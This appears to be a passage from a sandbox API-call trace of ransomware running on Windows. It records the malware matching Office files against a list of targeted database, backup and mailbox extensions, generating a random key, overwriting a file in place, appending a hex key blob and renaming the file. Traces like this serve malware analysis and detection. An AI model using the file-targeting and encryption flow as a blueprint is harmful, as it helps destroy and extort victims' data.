	[0140.718] lstrlenW (lpString=".BAK") returned 4
	[0140.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".BAK") returned 0x0
	[0140.718] lstrlenW (lpString=".BAC") returned 4
	[0140.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".BAC") returned 0x0
	[0140.718] lstrlenW (lpString=".dbs") returned 4
	[0140.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".dbs") returned 0x0
	[0140.718] lstrlenW (lpString=".vhdx") returned 5
	[0140.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".vhdx") returned 0x0
	[0140.718] lstrlenW (lpString=".NDF") returned 4
	[0140.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".NDF") returned 0x0
	[0140.718] lstrlenW (lpString=".dat") returned 4
	[0140.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".dat") returned 0x0
	[0140.718] lstrlenW (lpString=".DBS") returned 4
	[0140.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".DBS") returned 0x0
	[0140.719] lstrlenW (lpString=".CKP") returned 4
	[0140.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".CKP") returned 0x0
	[0140.719] lstrlenW (lpString=".edb") returned 4
	[0140.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".edb") returned 0x0
	[0140.719] lstrlenW (lpString=".PST") returned 4
	[0140.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".PST") returned 0x0
	[0140.719] lstrlenW (lpString=".dbf") returned 4
	[0140.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".dbf") returned 0x0
	[0140.719] lstrlenW (lpString=".SQL") returned 4
	[0140.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".SQL") returned 0x0
	[0140.719] lstrlenW (lpString=".pst") returned 4
	[0140.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".pst") returned 0x0
	[0140.719] lstrlenW (lpString=".dbv") returned 4
	[0140.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".dbv") returned 0x0
	[0140.719] lstrlenW (lpString=".SDF") returned 4
	[0140.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".SDF") returned 0x0
	[0140.719] lstrlenW (lpString=".dtxs") returned 5
	[0140.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".dtxs") returned 0x0
	[0140.719] lstrlenW (lpString=".db3") returned 4
	[0140.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".db3") returned 0x0
	[0140.720] lstrlenW (lpString=".OST") returned 4
	[0140.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".OST") returned 0x0
	[0140.720] lstrlenW (lpString=".dbx") returned 4
	[0140.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".dbx") returned 0x0
	[0140.720] lstrlenW (lpString=".DB3") returned 4
	[0140.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".DB3") returned 0x0
	[0140.720] lstrlenW (lpString=".DAT") returned 4
	[0140.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".DAT") returned 0x0
	[0140.720] lstrlenW (lpString=".VHDX") returned 5
	[0140.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".VHDX") returned 0x0
	[0140.720] lstrlenW (lpString=".ndf") returned 4
	[0140.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".ndf") returned 0x0
	[0140.720] lstrlenW (lpString=".DB") returned 3
	[0140.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".DB") returned 0x0
	[0140.720] lstrlenW (lpString=".sql") returned 4
	[0140.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".sql") returned 0x0
	[0140.720] lstrlenW (lpString=".MYD") returned 4
	[0140.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".MYD") returned 0x0
	[0140.720] lstrlenW (lpString=".DBT") returned 4
	[0140.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".DBT") returned 0x0
	[0140.721] lstrlenW (lpString=".ACCDB") returned 6
	[0140.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.721] lstrlenW (lpString=".fdb") returned 4
	[0140.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".fdb") returned 0x0
	[0140.721] lstrlenW (lpString=".bak") returned 4
	[0140.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".bak") returned 0x0
	[0140.721] lstrlenW (lpString=".myd") returned 4
	[0140.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".myd") returned 0x0
	[0140.721] lstrlenW (lpString=".DTXS") returned 5
	[0140.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".DTXS") returned 0x0
	[0140.721] lstrlenW (lpString=".ckp") returned 4
	[0140.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".ckp") returned 0x0
	[0140.721] lstrlenW (lpString=".dbt") returned 4
	[0140.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".dbt") returned 0x0
	[0140.721] lstrlenW (lpString=".db") returned 3
	[0140.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".db") returned 0x0
	[0140.721] lstrlenW (lpString=".TXT") returned 4
	[0140.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".TXT") returned 0x0
	[0140.721] lstrlenW (lpString=".MDF") returned 4
	[0140.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".MDF") returned 0x0
	[0140.722] lstrlenW (lpString=".bdb") returned 4
	[0140.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".bdb") returned 0x0
	[0140.722] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0140.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0140.722] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0140.723] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0140.723] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0140.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0140.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0140.724] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26071398607) returned 1
	[0140.724] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbd492ed0, dwHighDateTime=0x1d60e1e)) 
	[0140.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0140.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0140.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0140.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d110
	[0140.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d110 | out: hHeap=0x300000) returned 1
	[0140.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e82c0
	[0140.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0d30
	[0140.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e82c0 | out: hHeap=0x300000) returned 1
	[0140.725] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0140.725] GetLastError () returned 0x0
	[0140.725] GetLastError () returned 0x0
	[0140.725] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0140.725] GetLastError () returned 0x0
	[0140.725] GetLastError () returned 0x0
	[0140.725] ReadFile (in: hFile=0x108, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x332e, lpOverlapped=0x0) returned 1
	[0140.728] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xffffccd2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.728] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x332e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x332e, lpOverlapped=0x0) returned 1
	[0140.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0140.728] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.728] WriteFile (in: hFile=0x108, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.728] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.728] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.728] CloseHandle (hObject=0x108) returned 1
	[0140.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e82c0
	[0140.729] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir30b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir30b.gif.~~~~")) returned 1
	[0140.731] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e82c0 | out: hHeap=0x300000) returned 1
	[0140.731] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0140.731] GetLastError () returned 0x0
	[0140.731] RtlWakeConditionVariable () returned 0x0
	[0140.731] GetCurrentThreadId () returned 0x3a4
	[0140.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".scr") returned 0x0
	[0140.732] lstrlenW (lpString=".cmd") returned 4
	[0140.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".cmd") returned 0x0
	[0140.732] lstrlenW (lpString=".dll") returned 4
	[0140.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".dll") returned 0x0
	[0140.732] lstrlenW (lpString=".bat") returned 4
	[0140.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".bat") returned 0x0
	[0140.732] lstrlenW (lpString=".cpl") returned 4
	[0140.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".cpl") returned 0x0
	[0140.732] lstrlenW (lpString=".sys") returned 4
	[0140.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".sys") returned 0x0
	[0140.732] lstrlenW (lpString=".msc") returned 4
	[0140.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".msc") returned 0x0
	[0140.732] lstrlenW (lpString=".com") returned 4
	[0140.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".com") returned 0x0
	[0140.732] lstrlenW (lpString=".lnk") returned 4
	[0140.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".lnk") returned 0x0
	[0140.732] lstrlenW (lpString=".msp") returned 4
	[0140.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".msp") returned 0x0
	[0140.732] lstrlenW (lpString=".pif") returned 4
	[0140.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".pif") returned 0x0
	[0140.732] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir30f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0140.735] lstrlenW (lpString=".sqb") returned 4
	[0140.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".sqb") returned 0x0
	[0140.735] lstrlenW (lpString=".ost") returned 4
	[0140.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".ost") returned 0x0
	[0140.735] lstrlenW (lpString=".txt") returned 4
	[0140.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".txt") returned 0x0
	[0140.736] lstrlenW (lpString=".mdt") returned 4
	[0140.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".mdt") returned 0x0
	[0140.736] lstrlenW (lpString=".BDB") returned 4
	[0140.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".BDB") returned 0x0
	[0140.736] lstrlenW (lpString=".eql") returned 4
	[0140.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".eql") returned 0x0
	[0140.736] lstrlenW (lpString=".DBF") returned 4
	[0140.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".DBF") returned 0x0
	[0140.736] lstrlenW (lpString=".EQL") returned 4
	[0140.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".EQL") returned 0x0
	[0140.737] lstrlenW (lpString=".FDB") returned 4
	[0140.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".FDB") returned 0x0
	[0140.737] lstrlenW (lpString=".EDB") returned 4
	[0140.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".EDB") returned 0x0
	[0140.737] lstrlenW (lpString=".DACPAC") returned 7
	[0140.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.737] lstrlenW (lpString=".VHD") returned 4
	[0140.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".VHD") returned 0x0
	[0140.737] lstrlenW (lpString=".DBV") returned 4
	[0140.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".DBV") returned 0x0
	[0140.737] lstrlenW (lpString=".dacpac") returned 7
	[0140.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.737] lstrlenW (lpString=".sdf") returned 4
	[0140.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".sdf") returned 0x0
	[0140.737] lstrlenW (lpString=".accdb") returned 6
	[0140.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".accdb") returned 0x0
	[0140.737] lstrlenW (lpString=".DBX") returned 4
	[0140.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".DBX") returned 0x0
	[0140.737] lstrlenW (lpString=".MDT") returned 4
	[0140.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".MDT") returned 0x0
	[0140.737] lstrlenW (lpString=".SQB") returned 4
	[0140.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".SQB") returned 0x0
	[0140.737] lstrlenW (lpString=".vhd") returned 4
	[0140.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".vhd") returned 0x0
	[0140.738] lstrlenW (lpString=".bac") returned 4
	[0140.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".bac") returned 0x0
	[0140.738] lstrlenW (lpString=".mdf") returned 4
	[0140.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".mdf") returned 0x0
	[0140.738] lstrlenW (lpString=".BAK") returned 4
	[0140.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".BAK") returned 0x0
	[0140.738] lstrlenW (lpString=".BAC") returned 4
	[0140.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".BAC") returned 0x0
	[0140.738] lstrlenW (lpString=".dbs") returned 4
	[0140.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".dbs") returned 0x0
	[0140.738] lstrlenW (lpString=".vhdx") returned 5
	[0140.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.738] lstrlenW (lpString=".NDF") returned 4
	[0140.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".NDF") returned 0x0
	[0140.738] lstrlenW (lpString=".dat") returned 4
	[0140.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".dat") returned 0x0
	[0140.738] lstrlenW (lpString=".DBS") returned 4
	[0140.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".DBS") returned 0x0
	[0140.738] lstrlenW (lpString=".CKP") returned 4
	[0140.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".CKP") returned 0x0
	[0140.738] lstrlenW (lpString=".edb") returned 4
	[0140.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".edb") returned 0x0
	[0140.738] lstrlenW (lpString=".PST") returned 4
	[0140.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".PST") returned 0x0
	[0140.738] lstrlenW (lpString=".dbf") returned 4
	[0140.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".dbf") returned 0x0
	[0140.739] lstrlenW (lpString=".SQL") returned 4
	[0140.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".SQL") returned 0x0
	[0140.739] lstrlenW (lpString=".pst") returned 4
	[0140.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".pst") returned 0x0
	[0140.739] lstrlenW (lpString=".dbv") returned 4
	[0140.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".dbv") returned 0x0
	[0140.739] lstrlenW (lpString=".SDF") returned 4
	[0140.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".SDF") returned 0x0
	[0140.739] lstrlenW (lpString=".dtxs") returned 5
	[0140.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.739] lstrlenW (lpString=".db3") returned 4
	[0140.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".db3") returned 0x0
	[0140.739] lstrlenW (lpString=".OST") returned 4
	[0140.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".OST") returned 0x0
	[0140.739] lstrlenW (lpString=".dbx") returned 4
	[0140.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".dbx") returned 0x0
	[0140.739] lstrlenW (lpString=".DB3") returned 4
	[0140.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".DB3") returned 0x0
	[0140.739] lstrlenW (lpString=".DAT") returned 4
